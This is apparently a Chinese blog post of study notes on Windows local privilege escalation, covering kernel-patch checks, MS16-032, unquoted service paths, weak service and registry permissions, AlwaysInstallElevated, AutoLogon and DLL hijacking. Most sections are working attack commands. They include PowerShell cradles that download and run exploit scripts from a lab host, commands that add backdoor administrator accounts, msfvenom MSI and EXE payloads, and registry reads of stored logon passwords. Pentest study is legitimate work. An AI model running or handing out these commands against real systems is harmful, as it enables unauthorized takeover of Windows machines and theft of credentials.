本篇内容是内網安全攻防:滲透測試實戰指南時的閱讀筆記,筆記大部分内容均來自此書,另外一部分來源于一些公開文檔和非公開文檔,參考連結中均有注明。
Windows 核心漏洞提權
參考:
windows-kernel-exploits
微軟安全公告
滲透測試小技巧一:尋找EXP
Windows 核心漏洞的關鍵是目标系統沒有安裝更新檔,如何查詢目标系統是否安裝更新檔?
#檢視本地系統更新檔
systeminfo |findstr "KB"
wmic qfe get Caption,Description,HotFixID,InstalledOn
#另外兩種遠端查詢的方式需要結合其他遠端執行方式,例如 wmic遠端,schtasks遠端、dcom遠端等等,還有一些筆者不知到遠端執行方式。
wmic qfe get Caption,Description,HotFixID,InstalledOn |findstr /C:"KB3143141"
複制
得到更新檔号之後如何快速找出EXP?
windows-kernel-exploits項目中有一個python腳本将可以将systeminfo中的資訊和微軟的安全公告資料對比找出合适的exp。
如何隻下載下傳git項目的一個檔案夾,用DownGit這個工具即可。
cmd複制的時候不要複制多餘的空格,筆者使用編輯器為vim,否則會造成字元錯位。
systeminfo >>systeminfo.txt #輸出
pip install xlrd
./windows-exploit-suggester.py --update
./windows-exploit-suggester.py -d 2020-05-31-mssb.xls -i systeminfo.txt
複制

這種方法不一定準确,因為新版的系統安裝自帶更新檔,但是
systeminfo
中不會顯示更新檔資訊。
類似的這種利用cmd指令的方法也很好,參加連結@k0rz3n寫了一個利用WUA API的工具,也可以考慮
systeminfo>systeminfo.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type systeminfo.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a systeminfo.txt
複制
在Metasploit中也有檢測更新檔資訊和找到對應exp的子產品:
use post/windows/gather/enum_patches
set session id #id是已經獲得的session号
post/multi/recon/local_exploit_suggester
set session id #id是已經獲得的session号
複制
@rasta-mouse用Powershell實作了一個好用的腳本,利用WMI查詢查詢配置進而對比出和市場和EXP
Import-Module Sherlock.ps1 #本地
IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.10.128/Powershell/Sherlock.ps1') #遠端加載
Find-AllVulns #腳本提供了單個的Find函數,get-command檢視
複制
MS16-032(KB3143141)
如何了解微軟的漏洞編号和更新檔編号,微軟每釋出一個安全公告,就會為這個安全公告給出一個唯一的編号,格式通常為MS*-*\,比如這裡的MS16-032,MS代表Microsoft,16代表2016年,032表示2016年釋出的32個安全公告。
在安全公告可以獲得的資訊:受此漏洞影響的系統和漏洞的嚴重等級(漏洞導緻的結果),不同作業系統對應的更新檔,知識庫的連結,漏洞的詳細資訊。
KB(Knowledge Base,知識庫)是微軟更新檔的命名方式,指的是對應微軟知識庫的那一篇文章,例如這裡的KB3143141,通路https://support.microsoft.com/en-us/help/3143141可以看到相關詳細資訊。
在知識庫文章可以獲得的資訊:更新檔所解決的問題,安裝更新檔的一些條件,其他資訊等等。
在安全公告中,會有CVE(Common Vulnerabilities and Exposures,公共漏洞展示)編号,這裡是的編号為CVE-2016-0099,CVE編号是由CVE Numbering Authorities (CNAs) ,每個CVE 有CNA機構頒發,這個機構是由美國國土安全部(DHS)網絡安全和基礎設施安全局(CISA)贊助,另外國内有cnnvd,這個是由中國資訊安全測評中心做的,同樣有類似的Cnnnvd編号,這裡的編号為CNNVD-201603-080,描述的都是同一個漏洞
回到正題,有了MS編号很容易在exploit-db找到exploit(其實有不同的實作方式,比如exploit-db還有C#、Metasploit下的EXP等),另外前文中的 windows-kernel-exploits項目中整理好的exploit。這裡筆者使用的是@Evi1cg修改的Invoke-MS16-032.ps1
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.128/Powershell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user 2 Admin123gT /add'"
複制
部分exp不穩定,可能導緻機器藍屏等,這種動靜太大,比如不穩定的CVE-2019-0708
Windows作業系統配置錯誤提權
劃重點:Windows通路控制導緻提權
如果某個服務(包括Windwos 系統服務,,System權限)以高權限運作,通路控制清單錯誤配置,低權限使用者可寫依賴的DLL、或者服務本身,當服務重新開機時,服務加載替換的DLL進而獲得權限。
這隻是筆者個人描述,如果有描述不對的地方,請指正。
下面實驗我基本使用的都是PowerUP這個工具,該工具幾乎滿足了了利用配置錯誤提權的所有場景。
參考:
Powrshell 提權架構-Powerup
PowerUP-Doc
PowerShell工具之Powerup詳解實錄
windows配置錯誤導緻的提權——九世
【技術分享】滲透測試技術之另類Windows提權
Windows 本地特權提升技巧——傾旋
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.128/Powershell/PowerSploit/Privesc/PowerUp.ps1');Invoke-AllChecks" #遠端加載記憶體中執行
#如果輸出太長,
powershell.exe -nop -exec bypass -C "Import-Module .\PowerUp.ps1;Invoke-AllChecks" #本地加載
Powershell.exe -exec bypass -Command "&{Import-Module .\PowerUp.ps1;Invoke-AllChecks}" #類似
#不想每次都要的加載可以使用 -NOexit 參數
複制
簡單介紹下PowerUp提供的函數:
注:筆者使用的是dev分支,且不同Powershell版本支援的指令有點差別,當然如果使用Powershell 3及以上的版本将多兩個Alias,分别是和
Get-CurrentUserTokenGroupSid
,Alias的目标分别是
Invoke-AllChecks
和
Invoke-PrivescAudit
Get-ProcessTokenGroup
#Privilege Enumeration
Get-ProcessTokenGroup #傳回目前令牌上下文所屬的所有 sid,無論它們是否被禁用
Get-ProcessTokenPrivilege #傳回目前(或指定)程序 ID 的所有特權
Enable-Privilege #為目前程序啟用特定的特權
#Service Enumeration
Test-ServiceDaclPermission #根據給定的權限集測試一個或多個傳遞的服務或服務名稱
Get-UnquotedService #傳回名字中有空格且未加引号的服務路徑
Get-ModifiableServiceFile # 傳回目前使用者可以寫入服務二進制路徑或其配置的服務路徑
Get-ModifiableService #傳回目前使用者可以修改的服務
Get-ServiceDetail #傳回指定服務的詳細資訊
Set-ServiceBinaryPath #服務的二進制路徑設定為指定的值
Invoke-ServiceAbuse #修改易受攻擊的服務,以建立本地管理者或執行自定義指令
Write-ServiceBinary #寫出一個更新檔 c # 服務二進制檔案,用于添加本地管理者或執行自定義指令
Install-ServiceBinary #将服務二進制替換為添加本地管理或執行自定義指令的二進制
Restore-ServiceBinary #用原始可執行檔案還原被替換的服務二進制檔案
#DLL Hijacking
Find-ProcessDLLHijack #為目前運作的程序查找潛在的 DLL 劫持機會,查找-路徑-劫持-查找服務% PATH% DLL 劫持機會
Find-PathDLLHijack #檢查目前%PATH%是否存在哪些目錄是目前使用者可以寫入的
Write-HijackDll #寫出一個可劫持的 DLL
#Registry Checks
Get-RegistryAlwaysInstallElevated #檢查是否設定了 AlwaysInstallElevated 系統資料庫項
Get-RegistryAutoLogon #檢查系統資料庫中的自動登入憑據
Get-ModifiableRegistryAutoRun #檢查 HKLM autoruns 中任何可修改的二進制檔案 / 腳本(或其配置檔案)
#Miscellaneous Checks:
Get-ModifiableScheduledTaskFile #查找具有可修改目标檔案
Get-UnattendedInstallFile #查找剩餘的無人值守安裝檔案
Get-Webconfig #檢查任何加密的 web.config 字元串
Get-ApplicationHost #從系統上的applicationHost.config檔案恢複加密過的應用池和虛拟目錄的密碼。
Get-SiteListPassword #檢索所有找到的 McAfee 的 SiteList.xml 檔案的明文密碼
Get-CachedGPPPassword #檢查組政策首選項檔案中的密碼
#Other Helpers/Meta-Functions
Get-ModifiablePath #标記輸入字元串并傳回目前使用者可以修改的檔案
Write-UserAddMSI #寫出一個 MSI 安裝程式,提示要添加的使用者
Invoke-WScriptUACBypass #通過濫用 wscript.exe 中缺少嵌入清單來執行旁路 UAC 攻擊
Invoke-PrivescAudit #運作所有目前的更新檢查并傳回一個報告
#上面的指令描述是我用我機翻翻譯的,可能有些詞不達意,結合下面的說明了解coommand的作用
複制
這部分會有些枯燥,這裡無法全部示範這些指令,具體的函數結合實際下面例子了解。
Get-ProcessTokenGroup
和
whoami /groups
類似,查詢目前使用者的所屬的sid:
Get-ProcessTokenPrivilege
和
whoami /priv
類似,查詢目前使用者的特權:
參考:
詳解令牌篡改攻擊(Part 1)
Enable-Privileg
:顧名思義,開啟特權。
Test-ServiceDaclPermission
:
參考:Weak Service Permissions
模糊路徑提權
參考:
Unquoted Service Paths
這種提權技巧有幾種稱呼:模糊路徑提權、無引号服務路徑提權等等,都是同一種東西,Windows調用CreateProcess API 時有一個因為空格引起的加載特性,例如一個服務的加載路徑為
c:\program files\sub dir\program name
,Windows系統将會嘗試以下順序執行:
- c:\program.exe
- c:\program files\sub.exe
- c:\program files\sub dir\program.exe
- c:\program files\sub dir\program name.exe
參考:CreateProcessA function——MSDN
如果把要執行的payload放在這些目錄下,當服務啟動時,payload就能以服務的高權限運作(一般是LocalSystem),目前使用者需要對目标目錄可寫。
mkdir "C:\WeakServices\Weak Service"
copy C:\Windows\System32\snmptrap.exe "C:\WeakServices\Weak Service\service.exe"
sc create WeakService displayName= "Unquoted Service Path" binPath= "C:\WeakServices\Weak Service\service.exe" start= auto obj= "LocalSystem"
#以上操作需要管理者權限操作,寫成bat腳本也行,目的是為了注冊一個服務
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """ #檢視服務執行檔案不帶引号且待空格的服務,且服務啟動方式為"auto"
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" |findstr /i /v """ #同樣是搜尋不帶引号且其中有空格的服務
sc qc WeakService #查詢服務資訊
icacls.exe C:\WeakServices #檢視DACL,由于筆者對Windows的通路控制暫存疑惑,這裡就不解釋了,考慮後面專門整理個人的了解
#主要的目的是為了判斷目前使用者對目錄是否有可寫權限
#如果是多級目錄,需要在不斷檢視子目錄權限,直到找到可寫的目錄
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.128/Powershell/PowerSploit/Privesc/PowerUp.ps1');Get-UnquotedService"
複制
注冊服務之後可以在系統資料庫
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\WeakService
路徑下,看到
Image Path
的值是不帶引号的。
那怎樣才能安全的設定服務呢?轉義就好
sc create WeakService displayName= "Unquoted Service Path" binPath= "\"C:\WeakServices\Weak Service\
service.exe\"" start= auto obj= "LocalSystem"
複制
準備一個msf生成Windows的可執行檔案(你用其他也行),在@傾旋部落格裡發現了一個好用的工具,感受下:
可能會有些不足,但是修改下應該能用
注:記得測試确認payload可正常彈shell
如何重新開機服務呢?如果有權限直接
sc stop WeskService,sc start WeakService
,沒有權限的話隻能等待目标機器重新開機登入,或者直接
shutdown /r /t 0
重新開機登入(注意這樣搞動靜很大,如果不考慮動靜,甚至可以讓目标藍屏使其主動重新開機),這裡隻為了驗證,這種方式是不會成功的,為什麼?
當一個服務在Windows系統中啟動後,它必須和服務控制管理器通信。如果沒有通信,服務控制管理器會認為出現了錯誤,并會終止這個程序。——【技術分享】滲透測試技術之另類Windows提權
後面我還是對這種方式念念不忘,怎麼改進這個,比如維權的時候将payload注冊服務,但是有個前提是注冊的服務需要正常啟動,比如你寫一個可以正常和服務控制管理器通信的服務,詳細的筆者無法做到,這裡就不多說了

是以建立的Sesions又很快Died掉,不推薦這種做法,如果真的要用到這個,配合程序注入子產品使用
post/windows/manage/migrate
,遷移到其他穩定的程序。
獲得的session 的時間非常短暫,操作空間很小
Metasploit有一個子產品
exploit/windows/local/unquoted_service_path
利用也是該特性進行特權(發現模糊服務路徑,寫入服務檔案,重新開機服務)但是我沒能複現成功,這裡不多說了。
Get-UnquotedService
的功能其實和
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v
類似,不過從使用體驗上來說,這個工具更好用,下圖是使用的效果。
你可能會好奇前面Session彈回來不是Died掉嗎,為什麼這樣能夠成功,雖然服務不能正常啟動,但是
Write-ServiceBinary
寫入檔案的指令還是正常執行。
Get-UnquotedService #
Write-ServiceBinary #将指定的指令中的更新檔添加到預編譯的C#服務可執行檔案中,并将二進制檔案寫入指定的ServicePath位置。
#這裡我沒加任何參數,以預設執行的指令是下面這個,參數也有預設值
net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add
#預設的UserName為John
#預設的Password為Password123!
#預設将将賬号添加至Administrators本地組
#timeout是為了控制延時
Write-ServiceBinary -Name WeakService -UserName john -Password Password123! #這樣傳入的參數
#注:不要被工具限制了想法,這裡篇幅有限,不僅僅執行添加使用者,務必了解服務隻是執行了路徑的中指令
複制
參考:Write-ServiceBinary—doc
弱服務權限
參考:
Weak Service Permissions
這種配置錯誤在第三方軟體中可能比較常見,兩種錯誤配置造成了提權的危險性:
- 低權限使用者通過伺服器管理器,對服務配置有修改權限,指向其他二進制檔案,造成提權
- 低權限使用者可寫服務二進制檔案所在目錄,替換服務檔案造成提權
注以:一種是使用者對服務有權限,一種是對服務所在的目錄有權限。
下面實驗的前提是給服務配置了對應的權限,我這裡是
jerry
使用subinacl.exe給予了完全控制的權限:
subinacl.exe /service WeakService /Grant=jerry #預設F完全控制的權限
#預設這個subinacl.exe所在的路徑為C:\Program Files (x86)\Windows Resource Kits\Tools
#需要用管理者權限,否則無法修改acl
複制
如何找到具有權限對應的權限的服務呢?可以使用
Test-ServiceDaclPermission
傳回對應權限的服務。
Test-ServiceDaclPermission #根據給定的權限集測試一個或多個傳遞的服務或服務名稱,傳回目前使用者具有指定權限的服務對象。
#你可簡單了解powershell版本的accesschk.exe,從服務中過濾權限
Get-Service | Test-ServiceDaclPermission -PermissionSet 'AllAccess'
Get-Service | Test-ServiceDaclPermission -PermissionSet 'Restart'
Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig'
Get-Service | Test-ServiceDaclPermission -Permissions 'Start' |select -First 5Get-Service | Test-ServiceDaclPermission -Permissions 'Stop'
Get-Service | Test-ServiceDaclPermission -Permissions "ChangeConfig"
複制
更多的Permissions和PermissionSet參數請閱讀官方文檔。
替換服務的二進制檔案
Get-ModifiableServiceFile #枚舉所有服務,并傳回脆弱的服務檔案。Get-ModifiableService #枚舉目前使用者可以修改 binPath 的所有服務并傳回服務。Install-ServiceBinary -Name 'WeakService' #将服務二進制替換為添加本地管理或執行自定義指令的二進制Restore-ServiceBinary -Name 'WeakService' #用原始可執行檔案還原被替換的服務二進制檔案
複制
修改服務的ImagePath鍵值
Get-ModifiableService #枚舉目前使用者可以修改 binPath 的所有服務并傳回服務。Set-ServiceBinaryPath -Name WeakService -Path 'net user john Password123! /add ' #設定服務啟動啟動二進制檔案,對應在系統資料庫中ImagePath的值Restart-Service WeakService #重新開機服務
複制
上面這種直接設定
binPath
的方式相比下面動靜顯得太大,推薦使用
Invoke-ServiceAbuse
的方式。
Get-ModifiableService #枚舉目前使用者可以修改 binPath 的所有服務并傳回服務。Invoke-ServiceAbuse -Name 'WeakService' #修改易受攻擊的服務,以建立本地管理者或執行自定義指令#這個指令會讓你覺得什麼都沒做,但是使用者自定義的指令已經成功執行,實際上它調用了Set-ServiceBinaryPath設定為執行的
複制
如果沒有PowerUP支援,是不是沒法用呢?需要了解,Set-ServiceBinaryPath之所有對服務啟動檔案可設定,是因為目前使用者對該服務有讀寫權限,如果沒有,則不成功,這裡我記錄另外一套不使用PowerUp的測試流程.
#這裡記錄另一套不用PowerUP,使用其他工具來攻擊的整個測試過程accesschk.exe /accepteula -ucv "jerry" * |findstr "RW" #jerry是目前使用者,檢視jerry使用者有權限的服務,并從中篩選出有RW權限的服務accesschk.exe /accepteula -uwcqv "Authenticated Users" * #類似的其他指令,有權限的服務sc qc WeakService #檢視服務詳細資訊,挑選高權限服務,例如LocalSystem實際上sc指令也提供了相應的更更改配置指令,sc config WeakService binpath= "cmd.exe /c net user john Password123! /add && net localgroup Administrators john /add"#隻要使用者對服務有權限就可以修改#這裡用cmd執行了指令,添加了一個使用者,添加到管理組中
複制
弱系統資料庫權限
參考:Windows Privilege Escalation — Insecure Service #1
subinacl.exe /service WeakService /Deng=jerry#去除之前的使用者對服務的權限
複制
為了複現,這裡我手動在系統資料庫中給了
everone
使用者完全控制權限,當然,直接給目前使用者(我這裡
jerry
)權限也可,由于無法重新開機服務,重新開機機器才能重新開機服務,還是那句話,重新開機就需要考慮是否動靜太大。
如何發現系統資料庫服務項其他使用者可寫?
.\accesschk.exe "Everyone" -kvuqsw HKLM\SYSTEM\CurrentControlSet\services #檢查Everyone對系統資料庫中服務的配置有相關權限的項#這裡檢查出Everyone使用者對WeakService有讀寫權限accesschk.exe /accepteula "Authenticated Users" -kvuqsw HKLM\SYSTEM\CurrentControlSet\services
複制
使用
reg
指令修改
WeakService
項的
ImagePath
值,使用者成功添加,當然你可以構造其他的payload執行你想要的效果。
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\WeakService /v ImagePath /t REG_SZ /d "net user john Password123! /add" /F
複制
AlwaysInstallElevated MSI
參考:
利用AlwaysInstallElevated提權的測試分析
Windows Privilege Escalation Via AlwaysInstallElevated Technique
Always Install Elevated
AlwaysInstallElevated——MSDN
Windows Installer——MSDN
滲透測試中的msiexec
Windows Installer——wiki
Windows Installer——Command-Line Options
AlwaysInstallElevated是一個組政策設定,該設定允許普通使用者以
System
權限安裝Windows Installer 程式包(MSI)。
預設未配置,可通過組政策啟用:
- Computer Configuration\Administrative Templates\Windows Components\Windows Installer
- User Configuration\Administrative Templates\Windows Components\Windows Installer
本地組政策配置後之後不是立即生效的,計算機配置有一個重新整理間隔時間(組政策可配置),
gpupdate /force
可強制更新政策。
亦或者你選擇另外一種辦法,重新開機登入。對于計算機配置需要重新開機系統生效,對于使用者配置需要使用者登出登入生效
注:Computer Configuration和User Configuration需要都啟用,否則無效
如果有權限,也可以直接通過
reg
指令設定為
1
啟用:
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f && reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 0 /f#想一行指令完成的可以使用 /f 和 & 指令連結字元
複制
筆者遇到過修改之後查詢值不生效的,推薦直接系統資料庫中修改或者組政策配置
開啟之後對應的系統資料庫鍵值為
1
:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated & reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated#查詢這兩項是否開啟AlwaysInstallElevated
複制
Windows Installer是什麼?簡單的說是是Windows系統的元件之一,用來管理和配置軟體服務。
Windows Installer由Windows Installer service(msiexec.exe)和Installer Database(MSI包)構成,當使用者點選msi軟體包,系統會自動調用
msiexec.exe
進行安裝等操作。
其實還有Installation Bootstrapper,這裡不過多描述
如果我們能構造一個msi包,裡面包含裡想要執行的payload,Payload将獲得System權限,下面示範兩個工具構造MSI包進行提權。
PowerUP
Get-RegistryAlwaysInstallElevated #檢查是否設定了 AlwaysInstallElevated 系統資料庫項Write-UserAddMSI #寫出一個 MSI 安裝程式,提示要添加的使用者msiexec.exe /qn /i UserAdd.msi#/qn 安裝過程中沒有使用者界面#/i 正常安裝#/quiet 靜默安裝 #我這裡沒用
複制
雖然我加了參數,安裝過程中仍然彈出了GUI,原因在于我本地的組政策啟用了密碼複雜度,是以添加失敗彈出GUI,手動設定密碼之後,添加成功。
Metasploit
msfvenom -p windows/exec CMD="cmd.exe /c net user john Password123! /add && net localgroup Administrators john /add" -f msi -o UserAdd.msi#使用msfvenom生成一個msi包,這個技巧是從三好學生師傅blog中學來的,建議讀blog
複制
@三好學生使用這種方式發現權限是Medium,筆者測試發現權限是System,暫不清楚原因,可能Metasploit更新修複了這個問題。
msfvenom -p windows/exec CMD="calc.exe" -f msi -o UserAdd.msi
複制
msiexec.exe /qn /i UserAdd.msi
的過程會有一閃而過的cmd指令行。
#Metasploit中相關的子產品,需要一個Session 參數
exploit/windows/local/always_install_elevated
複制
後續的思路
這裡在記錄兩個構造MSI軟體包的工具:
- MSI Wrapper
- Advanced Installer
@三好學生提到的其他思路
-
支援從遠端加載,例如這樣msiexec
如果是https證書需可信msiexec /q /i http://10.10.10.128/UserAdd.msi
- 可建立快捷方式指向msiexec遠端加載
- 可使用OLE對象将快捷方式嵌入到Word文檔中
-
的過程會輸出日志到msiexec
目錄下,記得清理%TEMP%
參考:Windows二進制檔案的樂趣–使用msiexec繞過應用程式白名單
核心的點就這三點,至于其餘的僞裝看個人了。
AutoLogon
參考:
Autologon v3.10
How to turn on automatic logon in Windows
這個功能其實很有意思,使Windows自動登入,而不用手動輸入密碼,具體的圖形話操作實作請參考文章開始的連結,我這裡使用
reg
指令行配置相關選項:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomain /t REG_SZ /d "PC-jack-0day" /freg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d "jack" /freg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d "admin" /freg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d 1 /f#以上操作請用管理者在cmd下執行
複制
配置之後,重新開機就可以看到效果,如何搜集這種密碼?直接讀取對應的系統資料庫即可,下面列舉幾種工具讀取系統資料庫:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername" #command prompt
複制
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*" #Powershell
複制
PowerUP中也提供了
Get-RegistryAutoLogon
進行系統資料庫查詢:
如果使用者使用Autologon v3.10來配置自動登入,使用者的密碼将被加密,上面的方法也會無法讀取密碼。
技術所限,詳細的password存儲細節這裡不深究了,猜測需要lsa解密之類的。
Autoruns
參考:
Autoruns
Run and RunOnce Registry Keys
簡單的介紹這個,大白話說就是開機自啟動,和自動啟動的服務相似,如果能夠替換自啟動的二進制檔案,那麼可以獲得自啟動的權限,限于知識面,我無法确定自啟動擷取的權限是什麼,雖然我這裡實驗失敗了,備注下以後在研究。
一開始的想法來源于
PowerUP
的
Get-ModifiableRegistryAutoRun
函數,這個函數會檢查以下系統資料庫項:
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce" "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run" "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce""HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService""HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService""HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService""HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService"
複制
從中發現可修改自啟動項(更準确的說是擁有自啟動二進制檔案所在目錄的權限),是以我構造了一個啟動項。
mkdir "c:\calc"copy %windir%\system32\calc.exe c:\calcreg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d "C:\calc\calc.exe" /f #需使用管理者權限
複制
使用
Get-ModifiableRegistryAutoRun
函數可以成功發現該路徑:
後面的過程自然是替換對應的二進制檔案,筆者多次測試,發現均無法正常啟動,無奈隻能放棄,這裡記錄我使用的payload。
msfvenom -p windows/exec CMD="whoami > whoami.txt" -f exe -o calc.exe#嘗試使用cmd判斷目前執行的權限,執行失敗msfvenom -a x64 -p windows/exec CMD="cmd.exe /c net user john Password123! /add && net localgroup Administrators john /add" -f exe -o calc.exe#和上一條指令相似,如果是管理權限,則替換後成功執行将添加管理者使用者
複制
Sysprep
參考:
Sysprep (Generalize) a Windows installation
Sysprep——wiki
Sysprep是一個配置Windows安裝時使用的工具,這個工具預設系統自帶,路徑為
C:\Windows\System32\Sysprep\sysprep.exe
,通常用于企業使用者部署,這裡列舉他的一些功能,自動配置軟體、自動配置賬号、自動配置驅動等等,這裡不詳細介紹,重點介紹這個過程中為了配置會準備賬号密碼等,而這些配置是儲存的
inf
或
xml
檔案中的。
PowerUP的
Get-UnattendedInstallFile
将從枚舉以下這些檔案,從中發現是否有賬号密碼。
c:\sysprep\sysprep.xmlc:\sysprep\sysprep.infc:\sysprep.inf$Env:WinDir "\Panther\Unattended.xml"$Env:WinDir "\Panther\Unattend\Unattended.xml"$Env:WinDir "\Panther\Unattend.xml"$Env:WinDir "\Panther\Unattend\Unattend.xml"$Env:WinDir "\System32\Sysprep\unattend.xml"$Env:WinDir "\System32\Sysprep\Panther\unattend.xml"
複制
DLL Hijacking
參考:
Powersploit-Doc
T1038: DLL Hijacking
DLL Hijacking
DLL劫持、COM劫持、Bypass UAC利用與挖掘
Windows DLL Hijacking (Hopefully) Clarified
某種意義上來說,這一篇可以說是該篇的翻譯,但是我修改了作者的一些表述,他不是作者的原意,隻是筆者個人的了解,建議看原文。
DLL Hijacking,中文為DLL 劫持,需要說明的是這是一種技巧,準确的描述為DLL搜尋順序劫持。
什麼是DLL
DLL的全稱是Dynamic Link Library, 中文叫做“動态連結檔案”。它解決了什麼問題?筆者的答案是代碼複用。
使用 DLL 有助于促進代碼的子產品化、代碼重用、記憶體的有效使用和減少所占用的磁盤空間。是以,作業系統和程式能夠更快地加載和運作,并且在計算機中占用較少的磁盤空間。——什麼是 DLL?
DLL加載過程
程式加載DLL時,可以使用兩種連結方法來調用DLL:
- 加載時動态連結:編譯和連結應用程式時提供頭檔案(.h)和導入庫檔案(.lib),連結器将向系統提供加載DLL所需的資訊,加載時解析導出的DLL函數位置。
- 運作時動态連結:應用程式調用
函數或LoadLibrary
函數以在運作時加載 DLL,加載DLL之後, 使用LoadLibraryEx
函數獲得要調用的導出的 DLL 函數的位址GetProcAddress
這兩種說法可能比較陌生,換一種常見的說法,隐式加載和顯式加載。
可能更陌生了,了解這個就好。
根據MSDN文檔,這兩個函數的原型如下:
HMODULE LoadLibrary(LPCSTR lpLibFileName);#lpLibFileName 加載的DLL或exe的名稱#如果指定完整路徑,則該函數僅在該路徑中搜尋#如果指定相對路徑或不帶路徑,則該函數使用标準搜尋政策查找HMODULE LoadLibraryEx(LPCSTR lpLibFileName, HANDLE hFile, DWORD dwFlags);
複制
那麼标準搜尋政策是怎樣的?
參考:Dynamic-Link Library Search Order
- DLLs already loaded in memory :記憶體中已經加載的DLL
-
Known DLLs
Known DLLs是系統啟動預設加載的DLL,對應的值在
中。HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
- Application’s Directory:程式所在目錄
-
System directory:系統目錄,
使用GetSystemDirectory函數擷取此目錄的路徑,
%windir%\System32
的值,
另外Windows會将該路徑重定向至
,一般值為%windir%\SysWOW64
C:\WINDOWS\SysWOW64
- 16-bit system directory:16位系統目錄
的值,一般值為%windir%\System
C:\WINDOWS\System
-
Windows directory:Windows目錄
使用GetWindowsDirectory函數擷取此目錄的路徑,
的值,一般值為%windir%
C:\WINDOWS
-
Current directory:工作目錄
使用
函數擷取目前目錄GetCurrentDirectory
- Directories listed in %PATH%:PATH環境變量中列出的目錄
綠色部分是安全的(從權限提升的角度),如果在已加載的記憶體中的DLL(包括
Known DLLs
)沒找到,程式會從程式的目錄中加載它,如果成功,搜尋将停止,否則繼續在
ystem directory
搜尋,以此類推……。
這裡建構裡一個控制台應用調用DLL,使用ProcessMonitor監控加載DLL的過程。
#include <windows.h>#include <wchar.h>#include <stdlib.h>int main(int argc, char* argv[]) { HMODULE hModule = LoadLibrary(argv[1]); if (hModule) { wprintf(L"LoadLibrary() OK\n"); FreeLibrary(hModule); } else { wprintf(L"LoadLibrary() KO - Error: %d\n", GetLastError()); }}
複制
進階屬性裡配置為多位元組字元集
C/C++代碼生成運作庫配置為多線程(/MT)
筆者在這裡加載一個不存在的DLL,ProcessMonitor的Filter裡配置
Process Name
為
LoadLibrary.exe
,可以看到加載順序和上面所說的DLL相同:
這個搜尋順序對于高權限使用者是否也使用呢?我用
psexec.exe -accepteula -s -i -d cmd.exe
在本地開了一個
nt authority\system
的
cmd
:
可以看到順序幾乎相同,可能PATH變量中的有一些差異,比如
%USERPROFILE%\AppData\Local\Microsoft\WindowsApps
在低特權使用者是
C:\Users\*****\AppData\Local\Microsoft\WindowsApps
,在
nt authority\system
則是
C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
。
另外标準的搜尋政策取決于是否啟用的安全DLL搜尋模式(safe DLL search mode),安全DLL搜尋模式會将使用者目前目錄放在搜尋順序的後面。
從Windows XP SP2 開始預設啟用安全DLL搜尋模式。
組政策中也有對應的選項,其選項為我這裡簡單描述下開啟這個選項的過程,預設未顯示,安裝
Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options -> “MSS: (SafeDllSearchMode) Enable Safe DLL search mode (recommended)
,在安裝目錄下使用管理者權限執行
LocalGPO.msi
cscript LocalGPO.wsf /ConfigSCE
即刻顯示該設定。
參考:Missing MSS Settings in Security Options of Group Policy (GPO)
對應的系統資料庫選項為
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
,預設啟用值為1,修改為0則禁用,這裡展示禁用安全模式之後的搜尋順序,可以看到禁用安全DLL搜尋模式之後,搜尋完Application’s Directory,接着就搜尋Current directory:
